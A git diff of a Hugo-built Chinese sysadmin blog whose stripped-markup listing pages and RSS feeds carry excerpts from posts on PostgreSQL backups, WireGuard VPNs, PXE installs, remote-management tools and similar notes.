想說再打個VPN tunnel 來當跳板連 ptt 好了

- -

前面測試了用pgbarman / pgbackrest 來備份 postgresql

+

因為wireguard 建立很簡單,而且又可以指定想要繞出去的路由,不會影響原本的網路環境

-

這次改從system file level 來下手

+

本來是在vultr 的VPS上面建立這個tunnel

-

採用zfs 的快照來備份、還原postgresql 資料庫

+

但是那台VPS連去ptt 很頓,卡卡的

-

+

所以改用google cloud platform 的free tier 來做

- - - - -
+

反正只是拿來當跳板,不會有什麼流量、運算產生,可以一直保持免費的狀態

- - +
+
+ + + + + + - -
- - -
- + + +
+ + + + + + + +
+
+ 13 August + + + + + + / + + + + + + + + + / + + 筆記 + + +
+ +
+
+

因為實在受夠了現在用的 openwrt + strongswan 建立 IPSec VPN

- -
+

雖然說其實沒有什麼不好,但是畢竟不是我建立的,而當初的文件也都不見了

- +

完全沒辦法了解當時設計的邏輯,造成後續debug 困難

- -
- -
- - - - +

可以想像一下,一台VPN router ping 不到remote、ping不到internet、甚至ping不到自己 是要怎麼debug !?(翻桌

- +
+
+
+ - + + + + + - - - - 筆記 - - - + + +
+ + + + + + + +
+
+ 06 August + + + + + + / + + + + + + + + + / + + 筆記 + + +
+ +
+
+

之前總部和分公司之間 是用buffalo 的小AP 灌 openwrt

- - Eric Chang - -
+

然後用strongswan 來打 IPSEC site to site VPN

- -

這兩天在測試pgbackrest ,簡單筆記一下測試狀況

+

config 看起來不是很難 (只是看起來)

-

+

但是實際上已經找不到當初的文件

- - - - -
+

所以要維護很困難(光那些RSA KEY 就不知道為何、如何產生)

- - +

今天看到文章說用wireguard 可以更簡單

- +

於是研究了一下,發現還真的很簡單!

- -
- -
- - - - + + +
+ + + -
- - + + + + + + + +
+ + -
-

[筆記] 在Ubuntu 18.04 下 透過 pgbarman rsync/ssh backup 備份 postgresql 10 / backup postgresql 10 with pgbarman via ssh/rsync in ubuntu 18.04

-
- - - 2019-08-23 - - + + + - +
+
+ 31 July - - - - 筆記 - - - - - Eric Chang - -
- -

這篇繼續講 pgbarman 透過 rsync/ssh 來備份 postgresql 資料庫的方式

+ + + / + + + + + -

- - - - -
+ + / + + 筆記 + + +
+ +
+
+

最近有個任務,需要大量安裝client

- - +

PXE的部份本來是沒有什麼問題,自動安裝系統的部份都做好了

-
+

可是因為這次的量比較多,想說讓每一台在完成PXE安裝後的第一次重開機

- -
- -
- - - - +

就送出一封郵件來通知我,說已經完成安裝,可以執行ansible 了

- +
+
+
+ -
-

[筆記] 在Ubuntu 18.04 下 透過 pgbarman streaming backup 備份 postgresql 10/ backup postgresql 10 with pgbarman straming backup in ubuntu 18.04

-
- - - 2019-08-23 - - + + + + + - + + +
+ + - - - - 筆記 - - - + + + - - Eric Chang - -
+
+
+ 20 June + + + + + + / + + + + + + + + + / + + 筆記 + + +
+ +
+
+

之前在LAN/windows環境下,一直都是用ultravnc/winvnc/tigervnc之類的VNC軟體

+ +

但是如果要過 internet ,就會碰到各種開port的問題

+ +

在這種環境下,就有了當時 teamviewer 的橫空出世

+ +

解決了開PORT的問題,讓被控端(通常是資訊技術相對弱勢,需要接受幫助的一方)不需要懂太多

+ +

只要下載teamviewer被控端,開啟後報ID 給協助者就好了

+ + +
+
+
+
+ + + + + + + + + + +
+ + + + + + + +
+
+ 21 May + + + + + + / + + + + + + + + + / + + 筆記 + + +
+ +
+
+

最近一直在玩一些docker,不過老是會碰到歪果扔寫的東西,時區都不一致

+ +

有的用 UTC,有的用localtime,就是沒碰到用 Asia/Taipei 的….

+ + +
+
+
+
+ + + + + + + + + + +
+ + + + + + + +
+
+ 23 April + + + + + + / + + + + + + + + + / + + 筆記 + + +
+ +
+
+

最近因為一直碰到硬碟故障的問題,算起來那一批同時購買的5X顆 seagate 2T硬碟,已經有一半以上故障返修了….

+ +

然後又因為一直沒有添購新的硬碟,只能用這些快過保/已過保的撐著

+ +

所以最近不斷的在更換機器內的硬碟,而且還沒有熱插拔!

+ +

也導致原本負責處理盤點資產的同事困擾,因為跟手邊的紀錄已經對不起來了

+ +

然後就變成要對資產的時候,需要一台一台登入,然後去下不同的指令,取得想要的硬體資訊,超級麻煩的!

+ + +
+
+
+
+ + + + + + + - -

很久以前就有看到這個用來備份postgresql 的 pgbarman

+ + +
+ + + + + + + +
+
+ 23 April + + + + + + / + + + + + + + + + / + + 筆記 + + +
+ +
+
+

今天發生一件有點詭異的事情,本來應該要經過某個指令才會產生的檔案

+ +

居然不知為何自己產生了,在我記憶中沒有去執行過那個指令

+ +

翻了一下 bash_history ,裡面也只有下過哪些指令,沒有紀錄時間,完全沒有參考價值(攤手)

+ +

所以翻了一下網路,至少把這兩台主要跑ansible的機器的log功能補上紀錄所有指令以及時間的部份

+ + +
+
+
+
+ -

https://www.pgbarman.org/

+ + + + + -

前幾天老闆在slack 上面又提到,所以這次就花了點時間來玩玩看

+ + +
+ + + + + + + +
+
+ 01 April + + + + + + / + + + + + + + + + / + + 筆記 + + +
+ +
+
+

今天把其中一台proxmox 加上10G 光纖網卡,準備和另一台proxmox 組成10G 環境進行測試

+ +

想說把本機的zpool 拆掉,重新建立一個raid0 的空間來做clone/migrate

+ +

可是一直出現device busy的錯誤訊息

+ + +
+
+
+
+ -

不過呢,雖然有弄起來,但是還真不知道有些問題是怎麼解決的…

+ + + + + -

+ + +
+ + + + + + + +
+
+ 27 March + + + + + + / + + + + + + + + + / + + 筆記 + + +
+ +
+
+

公司的一台老伺服器空間不足了,要執行指令都會中斷,所以想要擴充空間。

+ +

看起來不難搞,事實上…..

+ + +
+
+
+
+ - - - - -
+ + + + + - - + + + + + -
+ + +
+ + + + + + + +
+
+ 16 January + + + + + + / + + + + + + + + + / + + 筆記 + + +
+ +
+
+

最近在弄一台機器,想要把ubuntu 18.04 安裝在software raid上

+ +

因為新開的機器大部分都是在proxmox上,所以很少碰實體機器了

+ +

結果在安裝過程中,做raid碰到一些問題,來紀錄一下

+ + +
+
+
+
+ - - - -
- - - - + + + + + -
- - + + +
+ + + + + + + +
+
+ 13 December + + + + + + / + + + + + + + + + / + + 筆記 + + +
+ +
+
+

這兩天在弄兩台Freenas ,準備當作Proxmox 的Storage & Server Backup

+ +

因為伺服器的限制,只能接六個SATA,我接了六個2T的硬碟做raid10

+ +

然後把Freenas 安裝在隨身碟上

+ +

不過會一直出現Smartd failed to start 的錯誤訊息

+ + +
+
+
+
+ + + + + + -
-

[筆記] 在ubuntu 18.04 下安裝nvidia 顯示卡驅動程式以及 pgstrom / Install Nvidia Driver Cuda Pgstrom in Ubuntu 1804

-
- - - 2019-08-20 - - + + +
+ + + + + + + +
+
+ 07 December + + + + + + / + + + + + + + + + / + + 筆記 + + +
+ +
+
+

因為工作的關係,現在很多時間都花在VIM的操作上

+ +

所以之前花了滿多時間,調整出一個適合自己的VIM環境

+ +

原本的作法是把這個設定好的環境,丟到自己建立的gitea 上面

+ +

然後每到一台新的機器,就要去clone 下來

+ + +
+
+
+
+ - + + + + + - - - - 筆記 - - - + + +
+ + - - Eric Chang - -
+ + + - -

因為老闆說要試試看用GPU 來跑postgresql 威力

+
+
+ 30 November -

手邊剛好有一張 geforce gt 720

-

一開始沒想太多,看到有這張卡的驅動程式,然後CUDA也有支援

-

就直接從桌機拔下來,接去LAB Server ,然後就開始一連串的難關了…

+ + + / + + + + + -

- - - - -
+ + / + + 筆記 + + +
+ +
+
+

想做一個 10G 的 LAB 環境出來已經很久了。

- - +

硬體的工作很久沒碰了,剛好在蝦皮看到有個賣家在賣 mellanox 的X2網卡,以在台灣的價格來說,算很便宜的 (550)

-
+

聊了一下,跟他請教了關於線材、光纖模塊的問題,回答也都很快很到位

- -
- -
- - - - +

就直接下訂了兩張網卡、兩個光纖模塊、一條LC/LC 光纖線

- +
+
+
+ - + + + + + - - - - 筆記 - - - + + +
+ + + + + + + +
+
+ 29 November + + + + + + / + + + + + + + + + / + + 筆記 + + +
+ +
+ +
+
+
+ - - Eric Chang - -
+ + + + + - -

最近一直在玩 wireguard ,先前把各個分公司和總部的VPN 改用 wireguard 建立

+ + +
+ + + + + + + +
+
+ 27 November + + + + + + / + + + + + + + + + / + + 筆記 + + +
+ +
+
+

這幾天在玩ansible 時,碰到一個問題

+ +

假如我有個yaml檔作為資料來源,檔名是 abc.yml

+ +

大概長這樣

+ +
    "teams": [
+        {
+            "chinese_name": "TEAM1",
+            "description": "TEAM1",
+            "gid": 10125,
+            "location": [
+                "hq"
+            ],
+            "name": "aa",
+            "users": [
+                "chen",
+                "chou",
+                "huani",
+                "yey",
+                "wa"
+            ]
+        },
+        {
+            "chinese_name": "TEAM2",
+            "description": "TEAM2",
+            "gid": 10126,
+            "location": [
+                "hq"
+            ],
+            "name": "bb",
+            "users": [
+                "chhiao",
+                "chgc",
+                "chy",
+                "hsi",
+                "li",
+                "li",
+                "chgchi"
+            ]
+        }
+		]
+		
+
-

想說再打個VPN tunnel 來當跳板連 ptt 好了

+ +
+
+
+
+ -

因為wireguard 建立很簡單,而且又可以指定想要繞出去的路由,不會影響原本的網路環境

+ + + + + -

本來是在vultr 的VPS上面建立這個tunnel

+ + +
+ + + + + + + +
+
+ 15 November + + + + + + / + + + + + + + + + / + + 筆記 + + +
+ +
+
+

最近在測試metabase,記得幾個月前就有測試過

+ +

但是當時的界面和現在的樣子差很多,看樣子改版還滿勤勞的

+ +

所以這次改用docker來建立,根本五分鐘不到就建好了(挖鼻孔)

+ +

不過呢,很討厭的是,一進去就發現語系採用的是簡體中文

+ + +
+
+
+
+ -

但是那台VPS連去ptt 很頓,卡卡的

+ + + + + -

所以改用google cloud platform 的free tier 來做

+ + +
+ + + + + + + +
+
+ 12 November + + + + + + / + + + + + + + + + / + + 筆記 + + +
+ +
+
+

因為工作上的需求,有個資料庫需要開放給不同team的人去存取

+ +

雖然都是在同一台機器上的同一個資料庫

+ +

但是希望能夠不同team的人用不同的資料庫使用者

+ +

這樣萬一出事,會比較好抓兇手??

+ + +
+
+
+
+ -

反正只是拿來當跳板,不會有什麼流量、運算產生,可以一直保持免費的狀態

+ + + + + -

+ + +
+ + - - - - -
+ + + - - + + -

雖然說其實沒有什麼不好,但是畢竟不是我建立的,而當初的文件也都不見了

+ + + + + -

完全沒辦法了解當時設計的邏輯,造成後續debug 困難

+ + +
+ + + + + + + +
+
+ 06 November + + + + + + / + + + + + + + + + / + + 筆記 + + +
+ +
+
+

最近在重新規劃前人留下的backup爛攤子 +各個伺服器統一備份到一台backup storage +想說如果每天能夠看到backup storage的磁碟用量的話 +就可以抓出備份空間成長速度、推估需要多大的磁碟空間 +找了一些工具,結果發現 durep 這個 ubuntu 內建的工具 +基本上可以滿足我的需求

+ + +
+
+
+
+ -

可以想像一下,一台VPN router ping 不到remote、ping不到internet、甚至ping不到自己 是要怎麼debug !?(翻桌

+ + + + + -

之前買了兩台edgerouter X 拿來玩了一下 wireguard,感覺還不錯,不過只有測試到點對點

+ + +
+ + -

這次試試看躲在gateway後面,看看能不能建立多點的VPN環境

+ + + -

+
+
+ 06 November - - - - -
- - + + / + + 筆記 + + +
+ +
+
+

Bookstack 是一套非常好用的線上”筆記”系統

-
+

他用圖書館/書本的概念,讓使用者可以建立自己的”圖書館”

- -
- -
- - - - +

同時在圖書館內建立不同的”書籍”

-
- - +

而且支援 Markdown 語法

+

其他的方式像是在nextcloud上編輯 md檔案(字體太小)

-
-

[筆記] 在edgerouter上用wireguard 建立site to site VPN / Site to Site Vpn Using Wireguard in Two Edgerouters

-
- - - 2019-08-06 - - +

或者是boostnote(只能在本機)

- +

都或多或少有點小缺點

- - - - 筆記 - - - +

Bookstack則是沒有這些問題,不過就是系統「大」了點…

- - Eric Chang - -
+

不過還好有人做成docker的方式來啟動,大大的降低了建置的難度(其實也沒有很難啦,只是要裝個PHP、弄個DB而已)

- -

之前總部和分公司之間 是用buffalo 的小AP 灌 openwrt

+ +
+
+
+ + -

然後用strongswan 來打 IPSEC site to site VPN

+ + + + + -

config 看起來不是很難 (只是看起來)

+ + +
+ + -

但是實際上已經找不到當初的文件

+ + + -

所以要維護很困難(光那些RSA KEY 就不知道為何、如何產生)

+
+
+ 05 November -

後來採購了兩台edgerouter X 做測試

-

也用openvpn 成功的建立了 site to site VPN

-

本來想說 openvpn 已經夠簡單了

+ + + / + + + + + -

今天看到文章說用wireguard 可以更簡單

-

於是研究了一下,發現還真的很簡單!

+ + / + + 筆記 + + +
+ +
+
+

公司內有幾台NAS,其中有一台用來放開發人員的postgresql dump file +之前都是主要的開發人員上傳到google drive,分享出來 ,然後其他人去抓回來

-

+

這樣子有個問題是,當server要存取這些檔案時,就沒辦法了,除非透過一些 3rd party的軟體 +像是這篇

- - - - -
+

https://www.omgubuntu.co.uk/2017/04/mount-google-drive-ocamlfuse-linux

- - + + +
+
+ + + - + - - + + + + + - - + diff --git a/public/categories/筆記/index.xml b/public/categories/筆記/index.xml index c1982e29..688c2a04 100644 --- a/public/categories/筆記/index.xml +++ b/public/categories/筆記/index.xml @@ -1,15 +1,31 @@ - 筆記 on MCの飄狂山莊㊣ + 筆記 on MC部落 https://h.cowbay.org/categories/%E7%AD%86%E8%A8%98/ - Recent content in 筆記 on MCの飄狂山莊㊣ + Recent content in 筆記 on MC部落 Hugo -- gohugo.io - Fri, 20 Sep 2019 10:17:17 +0800 + en-us + Mon, 14 Oct 2019 13:59:58 +0800 + + [筆記] 超強的ALL-in-One VPN Server streisand / Awesome All in One Vpn Server Streisand + https://h.cowbay.org/post/awesome-all-in-one-vpn-server-streisand/ + Mon, 14 Oct 2019 13:59:58 +0800 + + https://h.cowbay.org/post/awesome-all-in-one-vpn-server-streisand/ + <p>最近上班閒得發慌,沒事就上 github 找看看有沒有什麼好玩的專案</p> + +<p>就不小心發現了這個 streisand</p> + +<p><a href="https://github.com/StreisandEffect/streisand">https://github.com/StreisandEffect/streisand</a></p> + +<p>玩了一下,發現這根本就是終極的VPN Server solution ..</p> + + [筆記] 在ubuntu 18.04安裝psql 11 以及 pg_auto_failover / install psql 11 and pg_auto_failover in ubuntu 18.04 https://h.cowbay.org/post/pg_auto_failover_in_ubuntu_1804_psql_11/ @@ -26,9 +42,7 @@ <p>感覺挺不錯的,看起來設定很簡單,雖然之前已經測試了 keepalived 做 HA</p> -<p>不過,反正當作練功嘛,多測試一套也不錯!</p> - -<p></p> +<p>不過,反正當作練功嘛,多測試一套也不錯!</p> @@ -52,9 +66,7 @@ <p>這次改從system file level 來下手</p> -<p>採用zfs 的快照來備份、還原postgresql 資料庫</p> - -<p></p> +<p>採用zfs 的快照來備份、還原postgresql 資料庫</p> @@ -63,9 +75,7 @@ Thu, 05 Sep 2019 11:42:28 +0800 https://h.cowbay.org/post/backup-restore-postgresql-with-pgbackrest/ - <p>這兩天在測試pgbackrest ,簡單筆記一下測試狀況</p> - -<p></p> + <p>這兩天在測試pgbackrest ,簡單筆記一下測試狀況</p> @@ -74,9 +84,7 @@ Fri, 23 Aug 2019 14:54:13 +0800 https://h.cowbay.org/post/pgbarman-in-ubuntu-1804-postgresql-10-via-ssh/ - <p>這篇繼續講 pgbarman 透過 rsync/ssh 來備份 postgresql 資料庫的方式</p> - -<p></p> + <p>這篇繼續講 pgbarman 透過 rsync/ssh 來備份 postgresql 資料庫的方式</p> @@ -91,9 +99,7 @@ <p>前幾天老闆在slack 上面又提到,所以這次就花了點時間來玩玩看</p> -<p>不過呢,雖然有弄起來,但是還真不知道有些問題是怎麼解決的&hellip;</p> - -<p></p> +<p>不過呢,雖然有弄起來,但是還真不知道有些問題是怎麼解決的&hellip;</p> @@ -108,9 +114,7 @@ <p>一開始沒想太多,看到有這張卡的驅動程式,然後CUDA也有支援</p> -<p>就直接從桌機拔下來,接去LAB Server ,然後就開始一連串的難關了&hellip;</p> - -<p></p> +<p>就直接從桌機拔下來,接去LAB Server ,然後就開始一連串的難關了&hellip;</p> @@ -131,9 +135,7 @@ <p>所以改用google cloud platform 的free tier 來做</p> -<p>反正只是拿來當跳板,不會有什麼流量、運算產生,可以一直保持免費的狀態</p> - -<p></p> +<p>反正只是拿來當跳板,不會有什麼流量、運算產生,可以一直保持免費的狀態</p> @@ -152,9 +154,7 @@ <p>之前買了兩台edgerouter X 拿來玩了一下 wireguard,感覺還不錯,不過只有測試到點對點</p> -<p>這次試試看躲在gateway後面,看看能不能建立多點的VPN環境</p> - -<p></p> +<p>這次試試看躲在gateway後面,看看能不能建立多點的VPN環境</p> @@ -181,9 +181,7 @@ <p>今天看到文章說用wireguard 可以更簡單</p> -<p>於是研究了一下,發現還真的很簡單!</p> - -<p></p> +<p>於是研究了一下,發現還真的很簡單!</p> @@ -206,9 +204,7 @@ <p>就送出一封郵件來通知我,說已經完成安裝,可以執行ansible 了</p> -<p>看似很簡單的一件事情,卻搞了我兩天&hellip;.</p> - -<p></p> +<p>看似很簡單的一件事情,卻搞了我兩天&hellip;.</p> @@ -225,9 +221,7 @@ <p>解決了開PORT的問題,讓被控端(通常是資訊技術相對弱勢,需要接受幫助的一方)不需要懂太多</p> -<p>只要下載teamviewer被控端,開啟後報ID 給協助者就好了</p> - -<p></p> +<p>只要下載teamviewer被控端,開啟後報ID 給協助者就好了</p> @@ -255,9 +249,7 @@ <p>也導致原本負責處理盤點資產的同事困擾,因為跟手邊的紀錄已經對不起來了</p> -<p>然後就變成要對資產的時候,需要一台一台登入,然後去下不同的指令,取得想要的硬體資訊,超級麻煩的!</p> - -<p></p> +<p>然後就變成要對資產的時候,需要一台一台登入,然後去下不同的指令,取得想要的硬體資訊,超級麻煩的!</p> @@ -272,9 +264,7 @@ <p>翻了一下 bash_history ,裡面也只有下過哪些指令,沒有紀錄時間,完全沒有參考價值(攤手)</p> -<p>所以翻了一下網路,至少把這兩台主要跑ansible的機器的log功能補上紀錄所有指令以及時間的部份</p> - -<p></p> +<p>所以翻了一下網路,至少把這兩台主要跑ansible的機器的log功能補上紀錄所有指令以及時間的部份</p> @@ -287,9 +277,7 @@ <p>想說把本機的zpool 拆掉,重新建立一個raid0 的空間來做clone/migrate</p> -<p>可是一直出現device busy的錯誤訊息</p> - -<p></p> +<p>可是一直出現device busy的錯誤訊息</p> @@ -300,8 +288,7 @@ https://h.cowbay.org/post/transfer-cent62-using-rsync/ <p>公司的一台老伺服器空間不足了,要執行指令都會中斷,所以想要擴充空間。</p> -<p>看起來不難搞,事實上&hellip;.. -</p> +<p>看起來不難搞,事實上&hellip;..</p> @@ -316,9 +303,7 @@ <p>可以很簡單快速的備份、恢復系統狀態</p> -<p>可是不知道為什麼,在ubuntu 18.04 上安裝就是會發生錯誤&hellip;.</p> - -<p></p> +<p>可是不知道為什麼,在ubuntu 18.04 上安裝就是會發生錯誤&hellip;.</p> @@ -329,8 +314,7 @@ https://h.cowbay.org/post/install-ubuntu1804-on-dell-6ir-raid-controller/ <p>買了一張 DELL 6/iR 低階的raid 卡</p> -<p>來測試把系統裝在硬體做的RAID上,結果沒想到居然不能開機&hellip; -</p> +<p>來測試把系統裝在硬體做的RAID上,結果沒想到居然不能開機&hellip;</p> @@ -343,9 +327,7 @@ <p>因為新開的機器大部分都是在proxmox上,所以很少碰實體機器了</p> -<p>結果在安裝過程中,做raid碰到一些問題,來紀錄一下</p> - -<p></p> +<p>結果在安裝過程中,做raid碰到一些問題,來紀錄一下</p> @@ -360,9 +342,7 @@ <p>然後把Freenas 安裝在隨身碟上</p> -<p>不過會一直出現Smartd failed to start 的錯誤訊息</p> - -<p></p> +<p>不過會一直出現Smartd failed to start 的錯誤訊息</p> @@ -377,9 +357,7 @@ <p>原本的作法是把這個設定好的環境,丟到自己建立的gitea 上面</p> -<p>然後每到一台新的機器,就要去clone 下來</p> - -<p></p> +<p>然後每到一台新的機器,就要去clone 下來</p> @@ -404,9 +382,7 @@ <p>就是到貨有點久,等了兩個禮拜左右,一直到昨天東西才寄到</p> -<p>今天就花了點時間測試一下</p> - -<p></p> +<p>今天就花了點時間測試一下</p> @@ -419,9 +395,7 @@ <p>有提到怎麼用 with_items / set_fact 來取得在yaml 檔案中的清單</p> -<p>不過就是有點醜</p> - -<p></p> +<p>不過就是有點醜</p> @@ -473,9 +447,7 @@ } ] -</code></pre> - -<p></p> +</code></pre> @@ -490,9 +462,7 @@ <p>所以這次改用docker來建立,根本五分鐘不到就建好了(挖鼻孔)</p> -<p>不過呢,很討厭的是,一進去就發現語系採用的是簡體中文</p> - -<p></p> +<p>不過呢,很討厭的是,一進去就發現語系採用的是簡體中文</p> @@ -507,9 +477,7 @@ <p>但是希望能夠不同team的人用不同的資料庫使用者</p> -<p>這樣萬一出事,會比較好抓兇手??</p> - -<p></p> +<p>這樣萬一出事,會比較好抓兇手??</p> @@ -530,9 +498,7 @@ <p>用途包含了DHCP Server / Proxy Server (squid3) / APT Proxy (squid-deb-proxy)</p> -<p>問題就發生在這台 Build Server 上&hellip;</p> - -<p></p> +<p>問題就發生在這台 Build Server 上&hellip;</p> @@ -571,9 +537,7 @@ <p>Bookstack則是沒有這些問題,不過就是系統「大」了點&hellip;</p> -<p>不過還好有人做成docker的方式來啟動,大大的降低了建置的難度(其實也沒有很難啦,只是要裝個PHP、弄個DB而已)</p> - -<p></p> +<p>不過還好有人做成docker的方式來啟動,大大的降低了建置的難度(其實也沒有很難啦,只是要裝個PHP、弄個DB而已)</p> @@ -595,9 +559,7 @@ <p><a href="https://www.maketecheasier.com/mount-google-drive-ubuntu/">https://www.maketecheasier.com/mount-google-drive-ubuntu/</a></p> <p>但是手邊的伺服器,原則上除非有必要,不然都沒有開放internet -所以導致明明檔案就在那邊,但是要取得就是很麻煩</p> - -<p></p> +所以導致明明檔案就在那邊,但是要取得就是很麻煩</p> diff --git a/themes/public/categories/筆記/page/1/index.html b/public/categories/筆記/page/1/index.xml/index.html similarity index 100% rename from themes/public/categories/筆記/page/1/index.html rename to public/categories/筆記/page/1/index.xml/index.html diff --git a/public/categories/筆記/page/2/index.html b/public/categories/筆記/page/2/index.html index e18d68d6..a4d38ac1 100644 --- a/public/categories/筆記/page/2/index.html +++ b/public/categories/筆記/page/2/index.html @@ -1,137 +1,73 @@ - - - - - - - - - - - 筆記 | MCの飄狂山莊㊣ - - - - - - - - - - - - - - + + + + + + + + 筆記 | MCの飄狂山莊㊣ + + + + + + + + + - - - - - - - - - - - - - - - - - - - -
-
- -
-

MCの飄狂山莊㊣

- - What’s the Worst That Could Happen? - -
- - - - -
- - -
-
+ + +
+ +
+
+ +
+
+

筆記

+ +
+
+ +
+
+

[筆記] 在edgerouter上用wireguard 建立site to site VPN / Site to Site Vpn Using Wireguard in Two Edgerouters

+

之前總部和分公司之間 是用buffalo 的小AP 灌 openwrt

+

然後用strongswan 來打 IPSEC site to site VPN

-
- - - -
- - - - +

config 看起來不是很難 (只是看起來)

-
- - +

但是實際上已經找不到當初的文件

+

所以要維護很困難(光那些RSA KEY 就不知道為何、如何產生)

-
-

[筆記] 用pxe 安裝系統,完成後送出郵件通知 / send mail notification after pxe install

-
- - - 2019-07-31 - - +

後來採購了兩台edgerouter X 做測試

- +

也用openvpn 成功的建立了 site to site VPN

- - - - 筆記 - - - +

本來想說 openvpn 已經夠簡單了

- - Eric Chang - -
+

今天看到文章說用wireguard 可以更簡單

- -

最近有個任務,需要大量安裝client

+

於是研究了一下,發現還真的很簡單!

+
+
+ +
+
+

[筆記] 用pxe 安裝系統,完成後送出郵件通知 / send mail notification after pxe install

+

最近有個任務,需要大量安裝client

想用PXE來處理,只要user開機按F12(acer 桌機) 選擇PXE Boot

@@ -145,84 +81,14 @@

就送出一封郵件來通知我,說已經完成安裝,可以執行ansible 了

-

看似很簡單的一件事情,卻搞了我兩天….

- -

- - - - - -
- - - - +

看似很簡單的一件事情,卻搞了我兩天….

- - -
- -
- - - - - -
- - - - -
-

linux底下遠端遙控&管理的好用系統 Meshcentral / Remote Management & control system Meshcentral

-
- - - 2019-06-20 - - - - - - - - - 筆記 - - - - - - Eric Chang - -
- - -

之前在LAN/windows環境下,一直都是用ultravnc/winvnc/tigervnc之類的VNC軟體

+
+ +
+
+

linux底下遠端遙控&管理的好用系統 Meshcentral / Remote Management & control system Meshcentral

+

之前在LAN/windows環境下,一直都是用ultravnc/winvnc/tigervnc之類的VNC軟體

但是如果要過 internet ,就會碰到各種開port的問題

@@ -230,159 +96,23 @@

解決了開PORT的問題,讓被控端(通常是資訊技術相對弱勢,需要接受幫助的一方)不需要懂太多

-

只要下載teamviewer被控端,開啟後報ID 給協助者就好了

- -

- - - - - -
- - - - +

只要下載teamviewer被控端,開啟後報ID 給協助者就好了

- - -
- -
- - - - - -
+ +
+ - - -
- -
- - - - - -
- - - - -
-

[筆記] inxi 蒐集詳盡的硬體資訊 / inxi Collect Detail Hardware Info

-
- - - 2019-04-23 - - - - - - - - - 筆記 - - - - - - Eric Chang - -
- - -

最近因為一直碰到硬碟故障的問題,算起來那一批同時購買的5X顆 seagate 2T硬碟,已經有一半以上故障返修了….

+
+ +
+
+

[筆記] inxi 蒐集詳盡的硬體資訊 / inxi Collect Detail Hardware Info

+

最近因為一直碰到硬碟故障的問題,算起來那一批同時購買的5X顆 seagate 2T硬碟,已經有一半以上故障返修了….

然後又因為一直沒有添購新的硬碟,只能用這些快過保/已過保的撐著

@@ -390,739 +120,82 @@

也導致原本負責處理盤點資產的同事困擾,因為跟手邊的紀錄已經對不起來了

-

然後就變成要對資產的時候,需要一台一台登入,然後去下不同的指令,取得想要的硬體資訊,超級麻煩的!

- -

- - - - - -
- - - - +

然後就變成要對資產的時候,需要一台一台登入,然後去下不同的指令,取得想要的硬體資訊,超級麻煩的!

- - -
- -
- - - - - -
- - - - -
-

[筆記] 紀錄所有下過的指令、時間 / Log All commands with timestamp

-
- - - 2019-04-23 - - - - - - - - - 筆記 - - - - - - Eric Chang - -
- - -

今天發生一件有點詭異的事情,本來應該要經過某個指令才會產生的檔案

+
+ +
+
+

[筆記] 紀錄所有下過的指令、時間 / Log All commands with timestamp

+

今天發生一件有點詭異的事情,本來應該要經過某個指令才會產生的檔案

居然不知為何自己產生了,在我記憶中沒有去執行過那個指令

翻了一下 bash_history ,裡面也只有下過哪些指令,沒有紀錄時間,完全沒有參考價值(攤手)

-

所以翻了一下網路,至少把這兩台主要跑ansible的機器的log功能補上紀錄所有指令以及時間的部份

- -

- - - - - -
- - - - +

所以翻了一下網路,至少把這兩台主要跑ansible的機器的log功能補上紀錄所有指令以及時間的部份

- - -
- -
- - - - - -
- - - - -
-

[筆記] 解決無法建立zpool 的錯誤 / Fix Zpool Device Busy Using dmsetup

-
- - - 2019-04-01 - - - - - - - - - 筆記 - - - - - - Eric Chang - -
- - -

今天把其中一台proxmox 加上10G 光纖網卡,準備和另一台proxmox 組成10G 環境進行測試

+
+ +
+
+

[筆記] 解決無法建立zpool 的錯誤 / Fix Zpool Device Busy Using dmsetup

+

今天把其中一台proxmox 加上10G 光纖網卡,準備和另一台proxmox 組成10G 環境進行測試

想說把本機的zpool 拆掉,重新建立一個raid0 的空間來做clone/migrate

-

可是一直出現device busy的錯誤訊息

- -

- - - - - -
- - - - +

可是一直出現device busy的錯誤訊息

- - -
- -
- - - - - -
+ +
+ - - -
- -
- - - - - -
- - - - -
-

Install Timeshift on Ubuntu1804

-
- - - 2019-03-11 - - - - - - - - - 筆記 - - - - - - Eric Chang - -
- - -

最近要開始測試client安裝 ubuntu 18.04 的 ansible playbook

+
+ +
+
+

Install Timeshift on Ubuntu1804

+

最近要開始測試client安裝 ubuntu 18.04 的 ansible playbook

因為要不斷的修正,所以想到一直有在自己電腦上執行的timeshift這個軟體

可以很簡單快速的備份、恢復系統狀態

-

可是不知道為什麼,在ubuntu 18.04 上安裝就是會發生錯誤….

- -

- - - - - -
- - - - +

可是不知道為什麼,在ubuntu 18.04 上安裝就是會發生錯誤….

- - -
- -
- - - - - -
+ +
+ - - -
- -
- - - - - -
- - - - -
-

Ubuntu 1804 Install Root on Raid

-
- - - 2019-01-16 - - - - - - - - - 筆記 - - - - - - Eric Chang - -
- - -

最近在弄一台機器,想要把ubuntu 18.04 安裝在software raid上

- -

因為新開的機器大部分都是在proxmox上,所以很少碰實體機器了

- -

結果在安裝過程中,做raid碰到一些問題,來紀錄一下

- -

- - - - - -
- - - + +
+
+ + - - - -
- - - -
- - - - - - - -
- - - - - - -
- + +
+
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - + + \ No newline at end of file diff --git a/public/categories/筆記/page/2/index.xml b/public/categories/筆記/page/2/index.xml new file mode 100644 index 00000000..d46ce9f8 --- /dev/null +++ b/public/categories/筆記/page/2/index.xml @@ -0,0 +1,139 @@ + + + 筆記 - MCの飄狂山莊㊣ + https://h.cowbay.org/categories/%E7%AD%86%E8%A8%98/ + Recent content in 筆記 on MCの飄狂山莊㊣ + Hugo -- gohugo.io + Fri, 20 Sep 2019 10:17:17 +0800 + + + + + [筆記] 用pxe 安裝系統,完成後送出郵件通知 / send mail notification after pxe install + https://h.cowbay.org/post/send-mail-to-notify-after-pxe-install/ + Wed, 31 Jul 2019 11:06:33 +0800 + + https://h.cowbay.org/post/send-mail-to-notify-after-pxe-install/ + <p>最近有個任務,需要大量安裝client</p> + +<p>想用PXE來處理,只要user開機按F12(acer 桌機) 選擇PXE Boot</p> + +<p>然後選擇OS版本,就可以自動進行安裝</p> + +<p>安裝完成後,會自動重新開機,接著就用ansible來做user環境設定</p> + +<p>PXE的部份本來是沒有什麼問題,自動安裝系統的部份都做好了</p> + +<p>可是因為這次的量比較多,想說讓每一台在完成PXE安裝後的第一次重開機</p> + +<p>就送出一封郵件來通知我,說已經完成安裝,可以執行ansible 了</p> + +<p>看似很簡單的一件事情,卻搞了我兩天&hellip;.</p> + + linux底下遠端遙控&管理的好用系統 Meshcentral / Remote Management & control system Meshcentral + https://h.cowbay.org/post/remote-management-system-meshcentral/ + Thu, 20 